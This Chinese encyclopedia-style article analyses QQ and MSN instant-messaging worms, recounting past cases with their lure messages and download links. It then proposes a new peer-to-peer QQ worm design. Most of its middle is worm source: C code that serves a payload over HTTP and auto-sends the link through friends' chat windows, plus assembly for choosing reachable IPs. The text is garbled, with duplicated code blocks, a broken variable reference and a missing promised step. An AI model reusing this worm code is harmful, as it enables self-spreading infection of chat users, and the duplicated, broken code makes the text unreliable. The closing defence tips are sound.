基本介紹
- 中文名:qqworm病毒
- 外文名:qq worm virus
- 種類:QQ蠕蟲
- 軟體平台:QQ或MSN Messager
QQ蠕蟲病毒原理分析與防禦,背景,“愛情森林”,“QQ偽裝專家”,基於P2P思想QQ蠕蟲的原理,擴展,防範措施,注意線上傳輸,小心頁面鏈,結束語,
QQ蠕蟲病毒原理分析與防禦
QQ蠕蟲(qq worm virus)
背景
以QQ為代表的即時通訊軟體,在網路時代迅速而輕易地贏得了無數用戶的心,然後以更加驚人的速 度普及開去,目前,網路上使用QQ軟體的註冊人數已經超過1個億,但樹大招風,從今年病毒的發作情況來看,已經有將近100種QQ類型的病毒出現。由此可以看出,利用QQ這類即時通訊工具來進行傳播的病毒,已經逐漸成為新病毒的流行趨勢。
“愛情森林”
2002年8月25曰,瑞星全球病毒監控中心截獲了一個傳染能力極強的惡性QQ病毒——“愛情森林”(trojan.sckiss)。病毒的製作者利用QQ聊天機制,向用戶傳送“這個你去看看�很好看”的信息。如果用戶收到此信息,並點擊該連結,則會進入一個包含惡性攻擊代碼的惡意網頁,此時病毒將會被自動下載並發作。同時,病毒還會利用用戶的QQ好友名單,繼續向外擴散而且病毒會侵占系統目錄,繼續“生生不息”。“愛情森林”病毒通過QQ傳送信息之後,便開始進行本機的感染。
據悉,這種惡意網頁用JS腳本語言編寫,利用了JAVAEXPLOIT漏洞,所以不經用戶的允許,便可以悄悄自動下載“愛情森林”病毒並執行。而後此惡意網頁會修改用戶註冊表以進行破壞,並將用戶的IE標題和IE默認首頁改為:sckiss.yeah.net"target="_new">http://sckiss.yeah.net愛情森林。
“QQ偽裝專家”
另一個名叫“QQ偽裝專家”的新型惡性病毒會將真正的QQ程式改名,然後將自身偽裝成QQ程式,並在桌面上建立捷徑。用戶點擊這個捷徑後,螢幕上會出現同真QQ一樣的界面,當用戶登錄時,病毒便會將用戶的QQ號碼與密碼偷偷傳送到指定的信箱,用句QQ迷們的語言就是,“你的QQ被黑了!”;
在原理上,這個病毒和QQ毫無關係,只是利用人們對QQ 的熟悉性來欺騙用戶而已。
必須注意的是,微軟力推的一款即時通訊軟體MSN Messenger,因為它與Windows系統的完美結合,用戶群不在少數。2002年10月9曰下午,金山公司反病毒應急處理中心截獲了一例通過MSN聊天工具進行廣泛傳播的電腦病毒“GFleming”,經證實,這是世界上第一例通過微軟即時聊天工具MSN Messager進行大規模傳播的電腦病毒。“GFleming”病毒的傳播非常的迅速,一旦用戶感染該病毒,該蠕蟲會首先查看用戶是否安裝了MSN Messager並且已經登錄。若用戶已經登錄,該蠕蟲就會通過MSN Messager的對話視窗向所有聯繫人名單中的人傳送欺騙性的信息:
Hey!! Could you please check out this program for me? I made it myself and want people to test it. Its a readme with the program that explains what it does! http://home.no.net/downl0ad/BR2002.exe <-- There you can download it! give me advices on what to upgrade please!!
收到該信息的用戶不小心點擊這個連結執行了這個蠕蟲的話,蠕蟲就會繼續通過MSN Messager向其他聯繫人傳送同樣的信息,引起連鎖反應,造成病毒的快速傳播。
‘Cool Worm‘的病毒的欺騙訊息是:"Go To http://www.masenko-media.net/cool.html NoW !!!"點擊這個連線會打開一個帶有惡意Javascript程式的網站,他會搶奪受害者的好友名單,並且先每個人傳送一個相同的邀請信息。這個信息同時也將地址傳送電子郵件到名為[email protected]的信箱中。
類似的病毒還有幾例,原理相同,這裡不再一一枚舉。
欺騙信息一般是邀請你去傳送過來的網址去看看,如“看看這個,好東西 http://www.xxx.com/cool.html"。
從傳播手段上看,病毒傳播是一種C/S模式,即每台機器都是從指定的伺服器下載,比如GFleming是,http://home.no.net;QQ密碼記錄器是http://xmc.nease.net;‘Cool Worm‘是http://www.masenko-media.net/.這種方法的局限性是,一旦網站被封閉,病毒也就壽終正寢,不攻自滅了。
基於P2P思想QQ蠕蟲的原理
為了增強蠕蟲的健壯性,這裡提出一種新思路:每感染一台機器後,都會在本機創建一個最簡單的http伺服器,然後啟動新執行緒,在新執行緒中尋找QQ的”傳送訊息“視窗,一旦找到,通過設定訊息文本框的內容並控制”傳送訊息(&S)"按鈕來達到傳送欺騙性訊息的目的。
當對方收到訊息,點擊連線後,就會啟動IE,IE和第一台機器的http伺服器通信,下載html頁面並執行其中的vbs代碼,vbs將自身拷貝到機器上並運行,蠕蟲完成一次傳播。然後在新感染的機器上創建http伺服器,再向他的好友傳送訊息。
主要代碼如下(為節約篇幅,省略不必要的初始化和錯誤判斷):
⒈ http伺服器的實現
LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saServer.sin_family = AF_INET;
saServer.sin_port = htons(5058);
saServer.sin_addr.s_addr = INADDR_ANY;
bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
listen(LisenSocket,SOMAXCONN);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);
while(TRUE)
{
peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile();
}
void SendFile()
{
BYTE buf[1024];
DWORD ByteRead;
::SetFilePointer(hFile,0,0,FILE_BEGIN);
ReadFile(hFile,buf,1024,&ByteRead,0);
while(ByteRead)
{
send(peerSocket,(const char *)buf,ByteRead,0);
ReadFile(hFile,buf,1024,&ByteRead,0);
}
closesocket(peerSocket);
}
伺服器在5058連線埠阻塞等待,不使用80,是避免防火牆對80號連線埠的敏感和限制。接受到來自遠程的連線(由ie做客戶端)後,把html檔案傳送過去,關閉連線。
⒉ 操作QQ執行緒的實現
1) 獲得本機IP位址。
2) 等待出現“傳送訊息”視窗。
3) 獲得這個視窗的QQ號,也就是這個好友的QQ號。判斷是否已經向這個號傳送過,如果是,則轉1),不是則傳送,並在註冊表中登記。
4) 獲得文本區句柄,設定新的訊息。
5) 向“傳送訊息(&S)"按鈕傳送BM_CLICK訊息,傳送這條信息。轉1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software\\QQNums\\";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"傳送訊息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送訊息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}
⒊ 傳送html頁面的實現.
因為IE識別的是html,而不能執行exe.所以,html要包含exe.然後利用html內嵌的vbs,生成並運行exe,從而達到傳播的目的。
可是,對exe編碼和解碼具有一定的難度,如何才能使代碼最簡練,最節約空間呢?這裡給出一種新思路。
5) 向“傳送訊息(&S)"按鈕傳送BM_CLICK訊息,傳送這條信息。轉1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software\\QQNums\\";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"傳送訊息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送訊息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}
⒋ 傳送html頁面的實現.
因為IE識別的是html,而不能執行exe.所以,html要包含exe.然後利用html內嵌的vbs,生成並運行exe,從而達到傳播的目的。
可是,對exe編碼和解碼具有一定的難度,如何才能使代碼最簡練,最節約空間呢?這裡給出一種新思路。
5.這樣,當機器處於區域網路時,會向好友發出http://trueip:80的訊息,對方則向trueip發出連線而不是區域網路的機器,和DRDos相似。代碼如下:
IsActiveIP PROC IP : DWORD
LOCAL VSocket : DWORD
push ecx
push IPPROTO_TCP
push SOCK_STREAM
push AF_INET
call socket
mov VSocket,eax
push IP
pop TestIP
push sizeof(sockaddr) ; Size of connect strucure=16
call IAI1 ; Connect structure
dw AF_INET ; Family
db 0,80 ; Port number,avoid htons :)
TestIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
IAI1:
push VSocket
call connect ;ret 0 if sucess
push eax
push VSocket
call closesocket
pop eax
pop ecx
ret 4
IsActiveIP ENDP
SelectTrueIP:
push 64
pop ecx
mov esi,offset TrueIPList
STI1: lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax == 0
sub esi,4
lodsd
jmp STIExit
.else
loop STI1
.endif
xor eax,eax
STIExit:
ret
UpdateTrueIP PROC TrueIP : DWORD
push 64
pop ecx
mov esi,offset TrueIPList
UT1: lodsd
.if eax == 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
push 64
pop ecx
mov esi,offset TrueIPList
UT2:
lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax != 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
UTExit:
mov eax,TrueIP
ret 4
UpdateTrueIP ENDP
TrueIPList db 256 dup (0)
擴展
防範措施
注意線上傳輸
:常用的通訊軟體如ICQ、QQ、MSN Message均提供了線上傳輸功能,來源不可靠的傳輸內容請拒絕接收;即便可靠,接收後也要經過防毒軟體的掃描方能運行。
小心頁面鏈
接:
如果用戶在使用聊天軟體時不小心上當,點擊了不明網頁連結,電腦就會在使用者完全不知情的情況下,從許多網站下載檔案並自動運行。所以,千萬別打開陌生人傳來的頁面連結!如果是好友送來的連線,要詢問、確認後打開。這不是誰的漏洞,就象DDos攻擊一樣,是不可避免的正常危機。
結束語
QQ和MSN受到病毒侵襲的事件再一次強調了網際網路世界真實的一面——任何流行的電腦程式最終都會成為被攻擊的目標。
今後,我們不排除會有像CIH這樣的惡性病毒通過QQ、ICQ、MSN等渠道進行廣泛傳播的可能,因此,加強對即時通訊軟體的監控和保護是當務之急。